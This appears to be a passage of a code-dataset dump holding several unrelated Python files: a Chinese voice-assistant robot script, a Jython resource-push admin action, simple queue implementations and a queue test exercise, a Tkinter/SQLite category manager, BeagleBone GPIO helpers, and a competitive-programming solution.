'星期'+str(tm_wday)\r\n                        else:\r\n                            turing_answer_text = '星期日'\r\n                            \r\n                    elif self.questen in ['扶我起来','服务我起来','如果起来','起来']:\r\n                        turing_answer_text = '好的'\r\n                        \r\n                        time.sleep(0.5)\r\n                        init()\r\n                        get_up()\r\n                        \r\n                        \r\n                    elif self.questen in ['躺下']:\r\n                        turing_answer_text = '好的'\r\n                        time.sleep(0.5)\r\n                        init()\r\n                        lay_down()\r\n                        init()\r\n                        \r\n                    \r\n                    elif self.questen in ['手臂放下']:\r\n                        turing_answer_text = '好的'\r\n                        \r\n                        time.sleep(0.5)\r\n                        init()\r\n                        arm_down()\r\n                        init()\r\n                        \r\n                    elif self.questen in ['手臂抬起','手臂抬起业']:\r\n                        turing_answer_text = '好的'\r\n                        \r\n                        time.sleep(0.5)\r\n                        init()\r\n                        arm_up()\r\n                        init()\r\n                        \r\n                    elif self.questen in self.name:\r\n                        turing_answer_text = '嗯！这儿了'\r\n                        \r\n                    elif '播放' in self.questen:#对唱歌的处理\r\n                        try:\r\n                            self.play('music/'+self.questen[2:]+'.mp3')\r\n                            continue\r\n                        except:\r\n                            turing_answer_text = '咱还没有下载这首歌呢'\r\n                    elif '下载' in self.questen:#对唱歌的处理\r\n                        self.play_wav(self.start_wav)\r\n                        down_ok_or_not = self.DownloadMusic(self.questen[2:])\r\n                        if down_ok_or_not:\r\n                            turing_answer_text = '好了'\r\n                        else:\r\n                            turing_answer_text = '不好意思，我没有权限'\r\n                    elif self.questen in ['说话快一点']:#对语速的处理\r\n                        if self.speed < 9:\r\n                            self.speed += 1\r\n                        turing_answer_text = '好的，快了'\r\n                    elif self.questen in ['说话慢一点']:#对语速的处理\r\n                        if self.speed > 0:\r\n                            self.speed -= 1\r\n                        turing_answer_text = '好的，慢了'\r\n                    elif self.questen in ['语调高一点','调高一点','音调高一点']:#对语调的处理\r\n                        if self.pit < 9:\r\n                            self.pit += 1\r\n                        turing_answer_text = '好的，高了'\r\n                    elif self.questen in ['语调低一点','调低一点','音调低一点']:#对语调的处理\r\n                        if self.pit > 0:\r\n                            self.pit -= 1\r\n                        turing_answer_text = '好的，低了'\r\n                    elif self.questen in ['打开即可供房','打开即刻供房','打开即刻供方']:#加入对网页的处理\r\n                        webbrowser.open('http://www.geek-workshop.com/forum.php')\r\n                        turing_answer_text = '好的'\r\n                    elif self.questen in ['打开电影天堂']:#加入对网页的处理\r\n                        webbrowser.open('http://www.dytt8.net/')\r\n                        turing_answer_text = '好的'\r\n                    elif self.questen in ['打开博客','打开CSDN博客','CSDN博客']:#加入对网页的处理\r\n                        webbrowser.open('https://blog.csdn.net/Lingdongtianxia')\r\n                        turing_answer_text = '好的'\r\n                    elif '搜索' in self.questen:#加入对网页的处理\r\n                        webbrowser.open('https://www.baidu.com/baidu?ie=utf-8&wd='+self.questen[2:])\r\n                        turing_answer_text = '好的'\r\n                    elif self.questen in ['打开CSDN下载','CSDN下载']:#加入对网页的处理\r\n                        webbrowser.open('https://download.csdn.net/my')\r\n                        turing_answer_text = '好的'\r\n                    elif self.questen in ['打开木可','打开中国大学慕课']:#加入对网页的处理\r\n                        webbrowser.open('https://www.icourse163.org/')\r\n                        turing_answer_text = '好的'\r\n                    elif self.questen in ['打开我的课程','我要当学霸','我要做学霸','我要学习']:#加入对网页的处理\r\n                        webbrowser.open('https://www.icourse163.org/home.htm?userId=1019112339#/home/course')\r\n                        turing_answer_text = '好的'\r\n                    elif self.questen in ['打开截图','截图','打开截屏','截屏']:#加入对软件的处理\r\n                        os.system(r\"start D:\\快速截图\\FSCapture_单文件.exe\")\r\n                        turing_answer_text = '好的'\r\n                    elif self.questen in ['打开微信','微信']:#加入对软件的处理\r\n                        os.system(r\"start D:\\微信\\WeChat\\WeChat.exe\")\r\n                        turing_answer_text = '好的'\r\n                    elif self.questen in ['打开邮箱','邮箱']:#加入对软件的处理\r\n                        webbrowser.open(\"https://mail.qq.com\")\r\n                        turing_answer_text = '好的'\r\n                    elif self.questen in ['打开迅雷','迅雷']:#加入对软件的处理\r\n                        os.system(r\"start D:\\迅雷\\Program\\Thunder.exe\")\r\n                        turing_answer_text = '好的'\r\n                    else:\r\n                        turing_answer_text = self.answer()\r\n                        #turing_answer_text = turing_answer['text']\r\n                        # if 'url' in turing_answer.keys():\r\n                        #     webbrowser.open(turing_answer['url'])\r\n                        # if 'list' in turing_answer.keys():\r\n                        #     webbrowser.open(turing_answer['list'][0]['detailurl'])\r\n                        #     webbrowser.open(turing_answer['list'][1]['detailurl'])\r\n                    if self.test:\r\n                        print('机器人的回答：'+turing_answer_text)\r\n                    result  = self.client.synthesis(str(turing_answer_text), 'zh', 1,{'vol':self.vol,'spd':self.speed,'per':self.per,'pit':self.pit})\r\n                    if not isinstance(result, dict):  \r\n                        with open(self.machine_mp3, 'wb') as f:\r\n                            f.write(result)\r\n                    #self.mp3_to_wav(self.machine_mp3, self.machine_wav)\r\n                    self.play(self.machine_mp3)\r\n                    while self.get_busy():\r\n                        time.sleep(0.2)\r\n                    pygame.mixer.music.load(self.machine_wav)#使用pygame加载一个别的音频，释放掉self.machine_mp3，不然权限出错\r\n                    time.sleep(0.2)#防止扬声器对麦克风的干扰\r\n                    self.starttime = time.time()\r\n    def run(self):\r\n        self.pygame_init()\r\n        try:\r\n            self.login()\r\n            print(\"登录成功...\")\r\n        except:\r\n            print(\"登录失败...\")\r\n        while True:\r\n            self.awake()\r\n            print(\"录音完毕...\")\r\n            self.working()\r\n\r\n","sub_path":"final_nzc/family.py","file_name":"family.py","file_ext":"py","file_size_in_byte":19790,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"379311004","text":"from resource_query import ResourceQuery\r\nfrom cn.edustar.jitar.util import ParamUtil\r\nfrom cn.edustar.jitar.util import CommonUtil\r\nfrom cn.edustar.push import PushData\r\nfrom java.net import URLEncoder\r\nfrom javax.servlet.http import HttpServletResponse\r\nfrom cn.edustar.jitar.jython import BaseAdminAction\r\nfrom base_action import ActionResult\r\n\r\nclass admin_push_resource_list(BaseAdminAction, ActionResult):    \r\n    ERROR = \"/WEB-INF/ftl/Error.ftl\"\r\n    ACCESS_DENIED = \"/WEB-INF/ftl/Error.ftl\"\r\n    ACCESS_ERROR = \"/WEB-INF/ftl/mengv1/access_error.ftl\"\r\n    SUCCESS = \"/WEB-INF/ftl/success.ftl\"\r\n    LOGIN = \"/login.jsp\"\r\n    \r\n    def __init__(self):\r\n        self.params = ParamUtil(request)\r\n        self.resourceService = __spring__.getBean(\"resourceService\")        \r\n        self.unitService = __spring__.getBean(\"unitService\")\r\n        self.userService = __spring__.getBean(\"userService\")\r\n        self.topsiteUrl = None\r\n        \r\n    def execute(self):\r\n        if self.loginUser == None:\r\n            return self.LOGIN\r\n        if self.canAdmin() == False:\r\n            self.addActionError(u\"没有管理的权限.\")\r\n            return self.ERROR        \r\n        \r\n        cfg_svc = __spring__.getBean(\"configService\")\r\n        config = cfg_svc.getConfigure()\r\n        if config == None:\r\n            self.addActionError(u\"不能加载配置对象 !\")\r\n            return self.ERROR\r\n        if None == config[\"topsite_url\"]:\r\n            self.addActionError(u\" topsite_url 配置项没配置!\")\r\n            return self.ERROR\r\n        \r\n        self.topsiteUrl = str(config[\"topsite_url\"])\r\n        cmd = self.params.safeGetStringParam(\"cmd\")\r\n        if cmd == \"push\":\r\n            return self.push_content()\r\n        elif cmd == \"check\":\r\n            return self.check()\r\n        elif cmd == \"delete\":\r\n            return self.delete()\r\n        else:\r\n            return self.show_list()\r\n    \r\n    # 为了界面显示友好，每次只推送一篇文章\r\n    def push_content(self):\r\n        resourceId = self.params.safeGetIntParam(\"resourceId\")\r\n        # 组合 xml 格式的字符串，以便进行提交，\r\n        title = \"\"\r\n        documentType = \"resource\"\r\n        href = \"\"\r\n        author = \"\"\r\n        unitName = \"\"\r\n        unitTitle = \"\"\r\n        pushUserName = \"\"\r\n        platformGuid = \"\"\r\n        platformName = \"\"\r\n        orginId = 0\r\n        \r\n        productConfigService = __spring__.getBean(\"ProductConfigService\")\r\n        productConfigService.isValid()\r\n        platformGuid = productConfigService.getProductGuid()\r\n        platformName = productConfigService.getProductName()\r\n        \r\n        #提交以下字段信息：\r\n        resource = self.resourceService.getResource(resourceId)\r\n        if resource == None:\r\n            response.getWriter().write(\"Resource not found\")\r\n            return\r\n        \r\n        pushUser = self.userService.getUserById(resource.pushUserId)\r\n        if pushUser == None:\r\n            pushUserName = u\"无法加载指定的用户\"\r\n        else:\r\n            pushUserName = pushUser.trueName\r\n            if pushUserName == None or pushUserName == \"\":\r\n                pushUserName = pushUser.loginName\r\n                \r\n                \r\n        orginId = resource.id\r\n        title = resource.title\r\n        href = self.get_site_url()\r\n        \r\n        user = self.userService.getUserById(resource.userId)\r\n        \r\n        if user == None:\r\n            response.getWriter().write(\"Author not found\")\r\n            return\r\n        author = user.trueName\r\n        if author == None or author == \"\":\r\n            author = user.loginName\r\n        \r\n        if resource.unitId != None:\r\n            unit = self.unitService.getUnitById(resource.unitId)\r\n            if unit != None:\r\n                unitName = unit.unitName\r\n                unitTitle = unit.unitTitle\r\n        \r\n        xml = \"<root>\"\r\n        xml = xml + \"<title>\" + CommonUtil.xmlEncode(title) + \"</title>\"\r\n        xml = xml + \"<documentType>\" + documentType + \"</documentType>\"\r\n        xml = xml + \"<href>\" + CommonUtil.xmlEncode(href) + \"</href>\"\r\n        xml = xml + \"<author>\" + CommonUtil.xmlEncode(author) + \"</author>\"\r\n        xml = xml + \"<unitName>\" + CommonUtil.xmlEncode(unitName) + \"</unitName>\"\r\n        xml = xml + \"<unitTitle>\" + CommonUtil.xmlEncode(unitTitle) + \"</unitTitle>\"\r\n        xml = xml + \"<platformGuid>\" + CommonUtil.xmlEncode(platformGuid) + \"</platformGuid>\"\r\n        xml = xml + \"<platformName>\" + CommonUtil.xmlEncode(platformName) + \"</platformName>\"\r\n        xml = xml + \"<orginId>\" + str(orginId) + \"</orginId>\"\r\n        xml = xml + \"<pushUserName>\" + CommonUtil.xmlEncode(pushUserName) + \"</pushUserName>\"\r\n        xml = xml + \"</root>\"\r\n        postData = \"data=\" + URLEncoder.encode(xml, \"utf-8\")\r\n        \r\n        pd = PushData()\r\n        ret = pd.Push(postData, self.topsiteUrl + \"mashup/receiver.py\")\r\n        if ret == True:\r\n            result = pd.getReturnResult()\r\n            if result == \"LOCKED\":\r\n                response.getWriter().write(\"LOCKED\")\r\n                return\r\n            elif result == \"DELETED\":\r\n                response.getWriter().write(\"DELETED\")\r\n                return\r\n            \r\n            self.resourceService.setPushState(resource, 1)\r\n            response.getWriter().write(\"OK\")\r\n        else:\r\n            response.getWriter().write(\"ERROR\")\r\n        return\r\n    \r\n    def check(self):\r\n        pd = PushData()\r\n        if pd.checkServerState(self.topsiteUrl + \"mashup/check_status.py\") == True:\r\n            response.setStatus(HttpServletResponse.SC_OK)\r\n            response.getWriter().write(\"OK\")\r\n        else:\r\n            response.setStatus(HttpServletResponse.SC_INTERNAL_SERVER_ERROR)\r\n            response.getWriter().write(\"ERROR\")\r\n        return\r\n    \r\n    def delete(self):\r\n        guids = self.params.safeGetIntValues(\"guid\")\r\n        for resourceId in guids:\r\n            resource = self.resourceService.getResource(resourceId)\r\n            if resource != None:\r\n                self.resourceService.setPushState(resource, 0)                \r\n        return self.show_list()\r\n    \r\n    def get_site_url(self):\r\n        url = request.getScheme() + \"://\" + request.getServerName()\r\n        if request.getServerPort() != 80:\r\n            url = url + \":\" + str(request.getServerPort())\r\n        url = url + request.getContextPath() + \"/\"\r\n        return url\r\n                \r\n    def show_list(self):\r\n        qry = ResourceQuery(\"\"\" r.resourceId,r.title,r.userId,r.pushState,r.unitId,r.href,r.pushUserId \"\"\")\r\n        qry.pushState = 2 # 待推送\r\n        pager = self.params.createPager()\r\n        pager.itemName = u\"资源\"\r\n        pager.itemUnit = u\"个\"\r\n        pager.pageSize = 25\r\n        pager.totalRows = qry.count()\r\n        resource_list = qry.query_map(pager)\r\n        request.setAttribute(\"resource_list\", resource_list)\r\n        request.setAttribute(\"pager\", pager)\r\n        return \"/WEB-INF/push/admin_push_resource_list.ftl\" \r\n","sub_path":"WebContent/push/admin_push_resource_list.py","file_name":"admin_push_resource_list.py","file_ext":"py","file_size_in_byte":7008,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"189540484","text":"\"\"\"\nMy little Queue\n\"\"\"\nfrom typing import Any\n\nmy_queue = []\ndef enqueue(elem: Any) -> None:\n\t\"\"\"\n\tOperation that add element to the end of the queue\n\n\t:param elem: element to be added\n\t:return: Nothing\n\t\"\"\"\n\tglobal my_queue\n\tmy_queue.append(elem)\n\tprint(elem)\n\treturn None\n\n\ndef dequeue() -> Any:\n\t\"\"\"\n\tReturn element from the beginning of the queue\n\n\t:return: dequeued element\n\t\"\"\"\n\tglobal my_queue\n\tif len(my_queue) == 0:\n\t\treturn None\n\telse:\n\t\tdeq = my_queue[0]\n\t\tdel my_queue[0]\n\t\treturn deq\n\n\ndef peek(ind: int = 0) -> Any:\n\t\"\"\"\n\tAllow you to see at the element in the queue without dequeuing it\n\n\t:param ind: index of element (count from the beginning)\n\t:return: peeked element\n\t\"\"\"\n\tglobal my_queue\n\tprint(ind)\n\treturn my_queue[ind]\n\n\ndef clear() -> None:\n\t\"\"\"\n\tClear my queue\n\n\t:return: None\n\t\"\"\"\n\tglobal my_queue\n\tmy_queue = []\n\treturn None\n","sub_path":"Tasks/a1_my_queue.py","file_name":"a1_my_queue.py","file_ext":"py","file_size_in_byte":852,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"95808384","text":"#!/usr/bin/env python3\n###############################################################################\n## vim: et ai ts=4\n##\n## Bitte erst ab der Stelle im Code, die mit 'Hier beginnt Ihr Code' markiert\n## ist, eigenen Code einfuegen.\n###############################################################################\n\nAufgabe = 1                    # Diesen Eintrag nicht veraendern,\n                               # anderenfalls wird die Aufgabe nicht gewertet!!\n\nStudenten = []                 # Initalisierung der Studentenliste\n\n###############################################################################\n## Bitte tragen Sie in die folgenden Variablen Ihre Gruppennummer und die\n## Mitglieder Ihrer Gruppe ein. Bitte verwenden Sie KEINE Umlaute!\n\nGruppennummer = 99\n# Syntax fuer die Angabe der Namen und Matrikelnummern der einzelen\n# Gruppenmitglieder:\n#\nStudenten.append({'matnr': 99999, 'nachname': \"Stigler\", 'vorname': \"Sebastian\"})\n\n###############################################################################\n## Laden der Blackboximplementierung der MyQueue Klasse\n\nfrom MyQueue import *\n\n## SPEZIFIKATION:\n##\n## Die MyQueue Klasse stellt eine FIFO Warteschlange mit fester Laenge\n## fuer Integes bereit.\n##\n## Der Konstruktor hat eine Parameter: ein Integer > 0 der die maximale\n## Anzahl von Elementen angibt, die die Warteschlange speichern kann.\n##\n## empty() gibt genau dann True zurueck, wenn die Warteschlange keine\n## Elemnte enthaelt.\n##\n## full() gibt genau dann True zurueck, wenn die Warteschlange kein\n## weiters Element speichen kann\n##\n## enqueue(i) versucht den Integerwert i in der Warteschlange abzulegen.\n## Die Funktion gibt True zurueck, falls dieser Versuch erfolgreich war\n## und False wenn die Warteschlange voll ist.\n##\n## dequeue() entfernt (nach dem FIFO Prinzip) eine Wert aus der\n## Warteschlange und gibt diesen zurueck. Ist die Warteschlange leer,\n## so wird None zuruek gegeben.\n##\n## Beispiel:\n## q = MyQueue(1)\n## is_empty = q.empty()\n## succeeded = q.enqueue(10)\n## is_full = q.full()\n## value = q.dequeue()\n##\n## Diese Folge von Befehlen sollte folgendes leisten\n## 1. Sollte eine Warteschlange q erzeugen, die ein Element speichern kann.\n## 2. Sollte pruefen, ob q leer ist. (Erwarte True als Rueckgabewert)\n## 3. Sollte versuchen die Zahl 10 in Warteschlange einzutragen. (Erwarte\n##    True als Rueckgabewert)\n## 4. Sollte testen, ob die Warteschlange voll ist. (Erwarte True als\n##    Rueckgabewert)\n## 5. Sollte versuchen ein Element aus der Warteschlange zurueckzugeben.\n##    (Erwarte 10 als Rueckgabewert)\n\n\n###############################################################################\n## Hier beginnt die Loesung\n\nSTR1 = \"%i. Fill: q SIZE=%i, x=%i, len(vglq)=%i, is_empty == (len(vglq)==0)\"\nSTR2 = \"%i. Fill: q SIZE=%i, x=%i, len(vglq)=%i, is_full == (len(vglq)==SIZE)\"\nSTR3 = \"%i. Fill: q SIZE=%i, x=%i, len(vglq)=%i, enq=%s, fill_ok=%s, enq == fill_ok\"\nSTR4 = \"%i. Clear: q SIZE=%i, x=%i, len(vglq)=%i, is_empty == (len(vglq)==0)\"\nSTR5 = \"%i. Clear: q SIZE=%i, x=%i, len(vglq)=%i, is_full == (len(vglq)==SIZE)\"\nSTR6 = \"%i. Clear: q SIZE=%i, x=%i, len(vglq)=%i, deq=%s, vgl=%s, deq == vgl\"\n\n\ndef testQueue():\n    for SIZE in [1, 2, 2 ** 8 + 1]:\n        q = MyQueue(SIZE)\n        vglq = []\n        for rnd in [1, 2]:\n            for x in range(SIZE + 1):\n                is_empty = q.empty()\n                is_full = q.full()\n                assert is_empty == (len(vglq) == 0), STR1 % (rnd, SIZE, x, len(vglq))\n                assert is_full == (len(vglq) == SIZE), STR2 % (rnd, SIZE, x, len(vglq))\n                if rnd == 2:\n                    val = -x\n                else:\n                    val = x\n                enq = q.enqueue(val)\n                if len(vglq) < SIZE:\n                    fill_ok = True\n                    vglq.append(val)\n                else:\n                    fill_ok = False\n                assert enq == fill_ok, STR3 % (rnd, SIZE, x, len(vglq), str(enq), str(fill_ok))\n\n            for x in range(SIZE + 1):\n                is_empty = q.empty()\n                is_full = q.full()\n                assert is_empty == (len(vglq) == 0), STR4 % (rnd, SIZE, x, len(vglq))\n                assert is_full == (len(vglq) == SIZE), STR5 % (rnd, SIZE, x, len(vglq))\n                deq = q.dequeue()\n                if len(vglq) > 0:\n                    vgl = vglq.pop(0)\n                else:\n                    vgl = None\n                assert deq == vgl, STR6 % (rnd, SIZE, x, len(vglq), str(deq), str(vgl))\n\n\n###############################################################################\n## Bitte erst innerhalb des folgenden if Blocks Funktionen aufrufen.\n## Werden ausserhalb dieses Blocks Funktionen aufgerufen, so wird die Aufgabe\n## nicht gewertet.\n\nif __name__ == '__main__':\n\n    ## Der folgende Funktionsaufruf prueft die Eintraege der Variablen\n    ## Studenten, Gruppennummer und Aufgabe und gibt die Werte tabelarisch\n    ## auf dem Bildschirm aus oder loest einen Fehler aus, falls die Form\n    ## der Eintraege nicht korrekt ist.\n    from Grading.Grading import Grading\n    Grading.CheckStudents(Studenten, Gruppennummer, Aufgabe)\n\n    ## Aufruf der Testfunktion\n    testQueue()\n","sub_path":"uebung01/loesung01.py","file_name":"loesung01.py","file_ext":"py","file_size_in_byte":5191,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"570965821","text":"import sqlite3\nfrom tkinter import *\n\nimport pyodbc\nfrom PIL import Image, ImageTk, ImageDraw\nfrom tkinter import ttk, messagebox\n\n\nclass categoryClass:\n    def __init__(self,root):\n        self.root=root\n        self.root.title(\"Supermarket Management System | Develop By: Group 3 \")\n        self.root.geometry(\"1100x500+350+180\")\n        self.root.config(bg=\"#E0FFFF\")\n        self.root.resizable(width=False, height=False)\n        self.root.focus_force()\n    #=============variable==============\n        self.var_cat_id=StringVar()\n        self.var_name=StringVar()\n    #============= image ==========\n        # self.im1=Image.open(\"../QuanLyHocSinh/images/cl_new.png\")\n        # self.im1=self.im1.resize((500,250),Image.ANTIALIAS)\n        # self.im1=ImageTk.PhotoImage(self.im1)\n        #\n        # self.lbl_im1=Label(self.root,image=self.im1,bd=2,relief=RAISED)\n        # self.lbl_im1.place(x=50,y=220)\n        #\n        # self.im2 = Image.open(\"../QuanLyHocSinh/images/cl.png\")\n        # self.im2 = self.im2.resize((500, 250), Image.ANTIALIAS)\n        # self.im2 = ImageTk.PhotoImage(self.im2)\n        # self.lbl_im2 = Label(self.root, image=self.im2, bd=2, relief=RAISED)\n        # self.lbl_im2.place(x=580, y=220)\n\n    #=============Title============\n        lbl_title=Label(self.root,text=\"Manager Product Category\",font=(\"goudy old style\",25),bd=3, relief=RIDGE,bg=\"#184a45\",fg=\"white\").pack(side=TOP,fill=X,padx=10,pady=20)\n\n        lbl_cateID = Label(self.root, text=\"Category ID\", font=(\"goudy old style\", 25), bg=\"#E0FFFF\").place(x=50, y=100)\n        txt_cateID = Entry(self.root ,textvariable=self.var_cat_id, font=(\"goudy old style\", 18), bg=\"lightyellow\").place( x=50, y=170, width=170,height=40)\n\n        lbl_name=Label(self.root,text=\"Category Name\",font=(\"goudy old style\",30),bg=\"#E0FFFF\").place(x=350,y=100)\n        txt_name=Entry(self.root,textvariable=self.var_name,font=(\"goudy old style\",18),bg=\"lightyellow\").place(x=350,y=170, width=300,height=40)\n\n        btn_add=Button(self.root,text=\"ADD\",command=self.add,font=(\"goudy old style\",15),bg=\"#2196f3\",fg=\"white\",cursor=\"hand2\").place(x=350,y=240,width=65,height=40)\n        btn_update=Button(self.root,text=\"Update\",command=self.update,font=(\"goudy old style\",15),bg=\"#4caf50\",fg=\"white\",cursor=\"hand2\").place(x=430,y=240,width=65,height=40)\n        btn_delete=Button(self.root,text=\"Delete\",command=self.delete,font=(\"goudy old style\",15),bg=\"red\",fg=\"white\",cursor=\"hand2\").place(x=510,y=240,width=65,height=40)\n        self.btn_clear = Button(self.root, text=\"Clear\", font=(\"goudy old style\", 15, \"bold\"), bg=\"#607d8b\", fg=\"white\",cursor=\"hand2\",command=self.clear).place(x=590,y=240,width=65,height=40)\n\n\n        # ========== category details========\n        cat_Frame = Frame(self.root, bd=3, relief=RIDGE)\n        cat_Frame.place(x=720, y=100, width=380,height=390)\n\n        scrollx = Scrollbar(cat_Frame, orient=HORIZONTAL)\n        scrolly = Scrollbar(cat_Frame, orient=VERTICAL)\n        self.category_Table = ttk.Treeview(cat_Frame, columns=(\"cid\",\"name\"), xscrollcommand=scrollx.set, yscrollcommand=scrolly.set)\n\n        scrollx.pack(side=BOTTOM, fill=X)\n        scrolly.pack(side=RIGHT, fill=Y)\n        scrollx.config(command=self.category_Table.xview)\n        scrolly.config(command=self.category_Table.yview)\n\n        self.category_Table.heading(\"cid\", text=\"CateID\")\n        self.category_Table.heading(\"name\", text=\"Name\")\n\n        self.category_Table[\"show\"] = 'headings'\n\n        self.category_Table.column(\"cid\", width=150)\n        self.category_Table.column(\"name\", width=200)\n        self.category_Table.pack(fill=BOTH, expand=1)\n        self.category_Table.bind(\"<ButtonRelease-1>\", self.get_data)\n        self.show()\n\n        #========================================\n\n    def get_data(self, ev):\n        r = self.category_Table.focus()\n        content = (self.category_Table.item(r))\n        row = content[\"values\"]\n        self.var_cat_id.set(row[0])\n        self.var_name.set(row[1])\n\n    def add(self):\n        con = sqlite3.connect(database=\"suppermarket.db\")\n        cur = con.cursor()\n        try:\n            if self.var_cat_id.get()==\"\"or self.var_name.get()==\"\":\n                messagebox.showerror(\"Error\", \"Category name should be required\", parent=self.root)\n            else:\n                cur.execute(\"select * from category where cid=? \",(self.var_cat_id.get(),))\n                row = cur.fetchone()\n                if row != None:\n                    messagebox.showerror(\"Error\", \"Category already precent, try different\", parent=self.root)\n                else:\n                    cur.execute(\n                        \"INSERT INTO category (cid,name) values(?,?)\",(self.var_cat_id.get(),self.var_name.get(),))\n                    con.commit()\n                    messagebox.showinfo(\"Success\", \"Category Added Successfuly\", parent=self.root)\n                    self.show()\n        except Exception as ex:\n            messagebox.showerror(\"Error\", f\"Error due to {str(ex)}\")\n\n    def update(self):\n        con = sqlite3.connect(database=\"suppermarket.db\")\n        cur = con.cursor()\n        try:\n            if self.var_cat_id.get() == \"\":\n                messagebox.showerror(\"Error\", \"Please select Category from list\", parent=self.root)\n            else:\n                cur.execute(\"select * from category where cid=? \", (self.var_cat_id.get(),))\n                row = cur.fetchone()\n                if row == None:\n                    messagebox.showerror(\"Error\", \"Invalid Category \", parent=self.root)\n                else:\n                    cur.execute(\"update category set  name=?  where cid=? \",\n                                (self.var_name.get(),\n                                self.var_cat_id.get(),))\n                    con.commit()\n                    messagebox.showinfo(\"Success\", \"Category Update Successfuly\", parent=self.root)\n                    self.show()\n        except Exception as ex:\n            messagebox.showerror(\"Error\", f\"Error due to {str(ex)}\", parent=self.root)\n\n\n    def delete(self):\n        con = sqlite3.connect(database=\"suppermarket.db\")\n        cur = con.cursor()\n        try:\n            if self.var_cat_id.get() == \"\":\n                messagebox.showerror(\"Error\", \"Category ID should be required\", parent=self.root)\n            else:\n                cur.execute(\"select * from category where cid=? \", (self.var_cat_id.get(),))\n                row = cur.fetchone()\n                if row == None:\n                    messagebox.showerror(\"Error\", \"Please select Category Name from the list first\", parent=self.root)\n                else:\n                    op = messagebox.askyesno(\"Confirm\", \"Do you readlly want to delete?\", parent=self.root)\n                    if op == True:\n                        cur.execute('delete from category where cid=? ', (self.var_cat_id.get(),))\n                        con.commit()\n                        messagebox.showinfo(\"Delete\", \"Category Name deleted Successfuly\", parent=self.root)\n                        self.show()\n        except Exception as ex:\n            messagebox.showerror(\"Error\", f\"Error due to {str(ex)}\")\n\n\n    def show(self):\n        con = sqlite3.connect(database=\"suppermarket.db\")\n        cur = con.cursor()\n        try:\n            cur.execute(\"select * from category\")\n            rows = cur.fetchall()\n            self.category_Table.delete(*self.category_Table.get_children())\n            for row in rows:\n                self.category_Table.insert(\"\", END, values=row)\n        except Exception as ex:\n            messagebox.showerror(\"Error\", f\"Error due to {str(ex)}\")\n\n    def clear(self):\n        self.show()\n        self.var_cat_id.set(\"\")\n        self.var_name.set(\"\")\n        self.show()\n\nif __name__==\"__main__\":\n    root =Tk()\n    obj=categoryClass(root)\n    root.mainloop()","sub_path":"category.py","file_name":"category.py","file_ext":"py","file_size_in_byte":7822,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"348726155","text":"# This code writes and reads from the GPIO pins available on the BeagleBone Blue\n# BeagleBone Blue Pinout https://github.com/beagleboard/beaglebone-blue/wiki/Pinouts\n# Uses Adafruit library\n# Created by NexTec Capstone Team at Texas A&M, Fall 2019\n\n# Import external librarires\nimport Adafruit_BBIO\nfrom Adafruit_BBIO.GPIO import *\nimport time\n\n#DEFINE I/O NAMES FROM BBIO LIBRARY (referenced from pinout diagram above)\n#-------------------------------------------------------------------------\n#LEDs\nUSR_LED0 = \"USR0\"\nUSR_LED1 = \"USR1\"\nUSR_LED2 = \"USR2\"\nUSR_LED3 = \"USR3\"\nLED_RED = \"RED_LED\"\nLED_GREEN = \"GREEN_LED\"\n#OUTPUTS\nGPIO1_25 = \"GP0_3\"\nGPIO1_17 = \"GP0_4\"\nGPIO3_20 = \"GP0_5\"\nGPIO3_17 = \"GP0_6\"\nGPIO3_2 = \"GP1_3\"\nGPIO3_1 = \"GP1_4\"\n#INPUTS\nGPIO1_17 = \"GP0_4\"\nGPIO3_17 = \"GP0_6\"\n\n#MODES\nOUTPUT = 1\nINPUT = 0\n\n#STATES\nHIGH = 1\nLOW = 0\n\n# DEFINE RELEVANT FUNCTIONS\ndef init(Pin, Mode): # Initialize GPIO pin as either Output or Input\n    setup(Pin, Mode)\ndef write(Pin, State): # Write to Output GPIO pin as either High or Low\n    output(Pin, State)\ndef read(Pin): # Read State (High or Low) of Input GPIO pin \n    State = input(Pin)\n    return(State)\ndef vac_on():\n    init(GPIO1_25, OUTPUT)\n    write(GPIO1_25, HIGH)\ndef vac_off():\n    init(GPIO1_25, OUTPUT)\n    write(GPIO1_25, LOW)\n# # UNCOMMENT THE SECTION BELOW TO RUN AS STANDALONE CODE\n\n# while 1:\n#     write(GPIO1_25, HIGH)\n#     time.sleep(2)\n#     write(GPIO1_25, LOW)\n#     time.sleep(2)\n   ","sub_path":"Galileo/gpio_galileo.py","file_name":"gpio_galileo.py","file_ext":"py","file_size_in_byte":1457,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"191912388","text":"from sys import stdin, stdout\n\nT = int(stdin.readline())\nans = []\nfor cc in range(0, T):\n  n = int(stdin.readline())\n  a = [ int(x) for x in stdin.readline().split() ]\n  a.sort()\n  a.append(0x3f3f3f3f)\n\n  res = [ 0, 0, 1, 1 ]\n\n  pre = 0\n  cnt = 0\n  for i in a:\n    if i == pre:\n      cnt += 1\n    else:\n      if cnt >= 4:\n        res = [ pre, pre, pre, pre ]\n        break\n      cnt = 1\n    pre = i\n\n  if res[0] == 0:\n    pre = 0\n    val = 0\n    for i in a:\n      if i == pre and i != val:\n        if val * res[-1] > res[0] * i:\n          res = [ val, val, i, i ]\n        val = i\n      pre = i\n\n  ans.append(' '.join([ str(x) for x in res ]))\n\nstdout.write('\\n'.join(ans) + '\\n')\n","sub_path":"codeforces/1027/c.py","file_name":"c.py","file_ext":"py","file_size_in_byte":680,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
